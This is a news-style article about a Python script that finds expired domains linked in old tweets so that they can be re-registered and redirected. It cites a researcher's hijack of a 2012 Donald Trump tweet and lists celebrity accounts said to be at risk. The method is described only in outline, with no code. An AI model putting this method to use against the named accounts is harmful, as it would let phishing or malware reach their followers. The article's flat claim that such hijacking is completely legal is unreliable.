Hackers can hijack tweets using a python script, created by misterch0c that runs through any twitter account to allow anyone to hijack any twitter accounts or users tweet.
When the script is run in python, it goes through the Twitter accounts tweets and locates any links shared by the Twitter user. The script then checks whether or not the links found in the tweets have expired, and are no longer registered, or not. Once it pinpoints the websites that actually aren’t registered, the attacker can register the domain for themselves and redirect it to any website they like.
Attackers can misdirect users into going to a malicious website infected with a virus, or a phishing page. Therefore the level of threat the script provides is great.

This method was recently used by a Belgium security researcher named Inti De Ceukelaire to hijack an old Donald Trump tweet, tweeted back in 2012, redirecting people to a youtube video, rather than the National Achievers Congress website that was originally posted.
The hijacked tweet can still be seen on Donald Trump’s official twitter page.
I'll be speaking tomorrow at the San Jose Convention Center (CA) for the first- ever National Achievers Congress http://t.co/m4JN2oIw
— Donald J. Trump (@realDonaldTrump) April 11, 2012
Trump has addressed the tweet and stated that the website of the National Achievers Congress, nac2012.com, was not renewed by the original owner. This allowed Into to buy and register the domain name for himself and redirect it to this youtube video:
Luckily for Donald Trump, Inti De Ceukelaire did not have any malicious or political reasons to successfully attempt the hijack. However, someone who might could use the same method. The hijackers can’t and won’t be arrested either, because it would be completely legal. According to The¯Undersc0re’s blog post on Medium.com, there are more high profiled celebrities who are at risk of having their tweets hijacked, some of them that were tested by The¯Undersc0re are:
Katty Perry, @katyperry , 95.6M
Shakira, @shakira, 42.7M
Jennifer Lopez, @JLo, 39.3M
Aamir Khan, @aamir_khan, 19.8 M
Agnez Mo, @agnezmo, 16.2M
Triple X Movie???, @deepikapadukone, 17.3M
Maroon 5, @maroon5, 13.7M
shaquille o’neal, @SHAQ, 13.2M
Thalia, @thalia, 8.77M
Pegg News, @simongpegg, 6.63M
Twitter has not yet addressed the issue yet. Whether or not they will change Twitters API just to avoid this from happening in the future, regardless, it would be a costly job.
It is also a good reminder to keep our outdated and unused domain names in check and constantly registered so hackers do not use it to their own advantage.
